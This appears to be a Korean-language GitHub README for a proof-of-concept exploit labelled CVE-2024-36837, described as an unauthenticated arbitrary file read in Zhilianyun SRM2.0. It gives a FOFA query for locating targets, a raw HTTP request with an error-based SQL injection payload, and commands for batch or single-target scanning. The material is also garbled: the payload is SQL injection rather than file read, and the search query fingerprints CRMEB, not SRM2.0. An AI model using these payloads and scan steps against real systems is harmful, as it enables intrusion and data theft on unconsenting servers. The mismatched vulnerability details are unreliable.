lhc321-source/cve-2024-36837CVE-2024-36837에 대한 개념 증명 익스플로잇으로, Zhilianyun SRM2.0의 인증되지 않은 임의 파일 읽기 취약점입니다. Python 스크립트를 통한 배치 스캔 및 단일 대상 테스트를 포함합니다.
#CVE-2024-36837
#智联云采 SRM2.0 runtimeLog/download 인터페이스에 임의 파일 읽기 취약점이 존재하며, 인증되지 않은 공격자는 이 취약점을 통해 시스템 중요 파일(예: 데이터베이스 구성 파일, 시스템 구성 파일), 데이터베이스 구성 파일 등을 읽을 수 있어 웹사이트가 극도로 안전하지 않은 상태에 놓이게 됩니다.
fofa 구문： body="/wap/first/zsff/iconfont/iconfont.css" || body="CRMEB"
#POC：
GET /api/products?limit=20&priceOrder&salesOrder&selectId=GTID_SUBSET(CONCAT(0x7e,(SELECT+(ELT(3550=3550,md5(9753165)))),0x7e),3550) HTTP/1.1 Host: x.x.x.x User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.2 Safari/605.1.15 Connection: close Accept: / Accept-Language: en Accept-Encoding: gzip #URL 앞에 http:// 또는 https://를 추가하세요 python 11.py
#how to use python cve.py -h
#일괄 탐지 url.txt의 URL 주소는 http:// 또는 https://여야 합니다. python cve.py -f url.txt
#단일 탐지 URL 주소는 http:// 또는 https://여야 합니다. python cve.py -u url
